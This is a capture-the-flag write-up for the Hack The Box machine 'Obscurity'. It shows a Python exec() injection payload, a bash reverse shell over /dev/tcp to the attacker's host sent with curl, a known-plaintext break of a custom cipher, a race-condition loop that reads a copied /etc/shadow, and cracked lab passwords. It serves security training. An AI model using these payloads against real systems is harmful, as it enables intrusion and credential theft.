Overview

Obscurity Image

Obscurity is a medium linux box by clubby789.

The box starts with web-enumeration, where we have to fuzz for a secret diretory to leak the source code of the server. Analyzing the source code, we see that the exec function is called with user-input, which leads to code-execution and gives us a shell in the context of www-data. Enumerating the system, we find that the password of the user is saved in an encrypted form. The encryption script is vulnerable to known-plaintext attack, which we can exploit to get the encryption key. With the key, we can decrypt the password and login as user. For root, we find a custom ssh script, that temporarly copies the shadow file to /tmp/. With this we have a race-condition to read the shadow and crack the root password.

Information Gathering

Nmap

We begin our enumeration by running Nmap to find open ports and enumerate services.

root@silence:~# nmap -sC -sV 10.10.10.168
nmap -sC -sV 10.10.10.168
Nmap scan report for 10.10.10.168
Host is up (0.050s latency).
Not shown: 996 filtered ports
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
|   256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
|_  256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
80/tcp   closed http
8080/tcp open   http-proxy BadHTTPServer
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Wed, 06 May 2020 17:07:03
|     Server: BadHTTPServer
|     Last-Modified: Wed, 06 May 2020 17:07:03
|     Content-Length: 4171
|     Content-Type: text/html
|     Connection: Closed
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>0bscura</title>
[...]

Enumeration

The only two open ports shown are 22 and 8080. SSH usually is not that interesting, so let’s begin with http.

HTTP - Port 8080

Going to http://10.10.10.168:8080 a webpage is shown.

Index webpage

Scrolling down on the website, we see an interesting note.

Source hint

The note states, that the server SuperSecureServer.py can be found in the secret development dir. Let us fuzz for this dir next.

Fuzzing secret directory

root@silence:~# ffuf -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -c

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v0.12
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

develop                 [Status: 200, Size: 5892, Words: 1806, Lines: 171]
:: Progress: [5059/220547] :: 389 req/sec :: Duration: [0:00:13] :: Errors: 1 ::
[WARN] Caught keyboard interrupt (Ctrl-C)

After a couple of seconds, we find the secret directory under /develop.

Let us check out the source code at http://10.10.10.168:8080/develop/SuperSecureServer.py.

Source code

Let us download the server using wget:

root@silence:~# wget http://10.10.10.168:8080/develop/SuperSecureServer.py
--2020-05-06 19:22:32--  http://10.10.10.168:8080/develop/SuperSecureServer.py
Connecting to 10.10.10.168:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5892 (5.8K) [text/plain]
Saving to: ‘SuperSecureServer.py’

SuperSecureServer.py          100%[===============================================>]   5.75K  --.-KB/s    in 0.001s

2020-05-06 19:22:32 (7.46 MB/s) - ‘SuperSecureServer.py’ saved [5892/5892]

Analyzing the source code

Looking through the source, we can find an exec with user-supplied input.

def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
	[...]

Exec with user-input in most cases leads to code-execution!

Let us test our assumptions locally:

root@silence:~# python3
Python 3.8.2 (default, Apr  1 2020, 15:52:55)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> info = "output = 'Document: {}'"
>>> path = "'"
>>> exec(info.format(path))
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1
    output = 'Document: ''
                         ^
SyntaxError: EOL while scanning string literal

When we supply a ‘, we break the python code and get a SyntaxError. Let us try to inject python code next.

root@silence:~# python3
Python 3.8.2 (default, Apr  1 2020, 15:52:55)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> info = "output = 'Document: {}'"
>>> path =" '; print('test'); x='"
>>> exec(info.format(path))
test

By injecting the single-quote, we terminate the format string. We can now add arbitrary python-code and then terminate the other quote by creating a variable x=’. Let us test the python-code-execution on the server next.

Abusing code-injection to get a shell

We can test code-execution on the server with a simple ping-back payload: ';__import__('os').popen('ping -c 2 127.0.0.1').read();a='

After url-encoding some of the characters, we can send following request:

GET /';__import__('os').popen('ping%20-c%202%2010.10.14.2').read();a=' HTTP/1.1
Host: 10.10.10.168:8080
root@silence:~# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
19:39:02.217462 IP 10.10.10.168 > silence: ICMP echo request, id 32182, seq 1, length 64
19:39:02.217488 IP silence > 10.10.10.168: ICMP echo reply, id 32182, seq 1, length 64
19:39:03.227853 IP 10.10.10.168 > silence: ICMP echo request, id 32182, seq 2, length 64
19:39:03.227870 IP silence > 10.10.10.168: ICMP echo reply, id 32182, seq 2, length 64

We have verified remote code execution with the ping response from the server. Let us get a shell next.

A simple bash reverse-shell should do the trick.

';__import__('os').popen('bash -c "bash -i >& /dev/tcp/10.10.14.2/443 0>&1"').read();a='

Using curl, we get a shell:

root@silence:~# curl $'http://10.10.10.168:8080/\';__import__(\'os\').popen(\'bash%20-c%20%22bash%20-i%20%3E&%20/dev/tcp/10.10.14.2/443%200%3E&1%22\').read();a=\''`
root@silence:~# nc -lvnp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.168.
Ncat: Connection from 10.10.10.168:46672.
www-data@obscure:/$

We get a shell as www-data returned. Let us quickly upgrade our shell to make working easier.

www-data@obscure:/$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@obscure:/$ ^Z
[1]+  Stopped                 nc -lvnp 443
root@silence:~/ctf/htb/boxes/Obscurity# stty raw -echo
root@silence:~/ctf/htb/boxes/Obscurity# nc -lvnp 443

www-data@obscure:/$

Now with a fully working shell, we can enumerate the system and search for a privesc path.

Privesc to user

Checking out /etc/passwd we see that we only have one user we can privesc to robert:x:1000:1000:robert:/home/robert:/bin/bash.

Enumeration as www-data

Checking out the home folder of robert (/home/robert):

www-data@obscure:/home/robert$ ls -alh
total 60K
-rw-rw-r-- 1 robert robert   94 Sep 26  2019 check.txt
-rw-rw-r-- 1 robert robert  185 Oct  4  2019 out.txt
-rw-rw-r-- 1 robert robert   27 Oct  4  2019 passwordreminder.txt
-rwxrwxr-x 1 robert robert 2.5K Oct  4  2019 SuperSecureCrypt.py
-rwx------ 1 robert robert   33 Sep 25  2019 user.txt

These files seem interesting, let us look at the SuperSecureCrypt.py file.

Known plaintext attack

Looking at the contents of the files in the directory, it seems like we have a plaintext and a ciphertext, generated by the SuperSecureCrypt.py script. Furthermore, we have a passwordreminder, which also seems to be encrypted by the SuperSecureCrypt.py script.

root@silence:~# cat check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct!
root@silence:~# cat out.txt
¦ÚÈêÚÞØÛÝÝ	×ÐÊß
ÞÊÚÉæßÝËÚÛÚêÙÉëéÑÒÝÍÐ
êÆáÙÞãÒÑÐáÙ¦ÕæØãÊÎÍßÚêÆÝáäè	ÎÍÚÎëÑÓäáÛÌ×	v

Looking at the encryption and decryption function of the script, we can see that this seems to be a XOR like cipher.

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

The situation (similar to XOR) looks like the following: (Where X is some en/decryption-operation)

Cipher = Plain X Key
Plain = Cipher X Key

We know both ciphertext and plaintext, which means if we look at this cipher like a math-equation, we have two known value and can solve by the third. Key = Plain X Cipher

Applying this knowledge to the actual script we can use a known-plaintext attack to get the key.

root@silence:~# python3 SuperSecureCrypt.py -h
usage: SuperSecureCrypt.py [-h] [-i InFile] [-o OutFile] [-k Key] [-d]

Encrypt with 0bscura's encryption algorithm

optional arguments:
  -h, --help  show this help message and exit
  -i InFile   The file to read
  -o OutFile  Where to output the encrypted/decrypted file
  -k Key      Key to use
  -d          Decrypt mode

Ok so let us run the script with the ciphertext as the InFile and the contents of plaintext as the key.

root@silence:~# python3 SuperSecureCrypt.py -i out.txt -k "$(cat check.txt)" -d -o key.txt
################################
#           BEGINNING          #
#    SUPER SECURE ENCRYPTOR    #
################################
  ############################
  #        FILE MODE         #
  ############################
Opening file out.txt...
Decrypting...
Writing to key.txt...
root@silence:~# cat key.txt
alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichai

We have the key now! Let us decrypt the passwordreminder.txt with this key.

root@silence:~# python3 SuperSecureCrypt.py -i passwordreminder.txt -k "$(cat key.txt)" -d -o passwd.txt
################################
#           BEGINNING          #
#    SUPER SECURE ENCRYPTOR    #
################################
  ############################
  #        FILE MODE         #
  ############################
Opening file passwordreminder.txt...
Decrypting...
Writing to passwd.txt...
root@silence:~# cat passwd.txt
SecThruObsFTW

We have successfully decrypted the passwordreminder and can now su to robert and read user.txt.

www-data@obscure:/home/robert$ su robert
Password: SecThruObsFTW
robert@obscure:~$ cat user.txt
e4493***************************

Privesc to root

Now that we have user, let us enumerate our newly gained privileges and search for a path to get root on this system.

Enumeration as robert

robert@obscure:~$ sudo -l
Matching Defaults entries for robert on obscure:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User robert may run the following commands on obscure:
    (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

Checking our sudo privileges we seem to be allowed to run BetterSSH.py.

Let us read the source and check if we find any vulnerabilites in it.

[...]
path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
[...]
with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:]
            break

    if salt == "":
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    salt = '$6$'+salt+'$'
    realPass = salt + realPass

    hash = crypt.crypt(passW, salt)

    if hash == realPass:
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
[...]

The script reads the shadow file, copies it to /tmp/SSH, checks the user submitted password and deletes the copy again. The 0.1 second sleep gives enough time for a race-condition to read the shadow file.

Race-condition to root

Let us exploit the race-condition by endlessly trying to read the copy of the shadow file.

robert@obscure:/tmp$ while true; do timeout 1 cat SSH/* 2>/dev/null; done

Let us run the SSH server in another terminal now.

robert@obscure:~/BetterSSH$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: a
Enter password: a
Invalid user

Checking back to the race-condition exploit we get the hashes:

robert@obscure:/tmp$ while true; do timeout 1 cat SSH/* 2>/dev/null; done
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7


robert
$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/
18163
0
99999
7

Let us copy the hash into a file and crack it using john.

Cracking the root password

root@silence:~# cat hash.txt
root:$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1

root@silence:~# john hash.txt -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mercedes         (root)

Now that we have the root password, let us su to root and read root.txt

robert@obscure:~$ su
Password: mercedes
root@obscure:~# cat root.txt
512fd***************************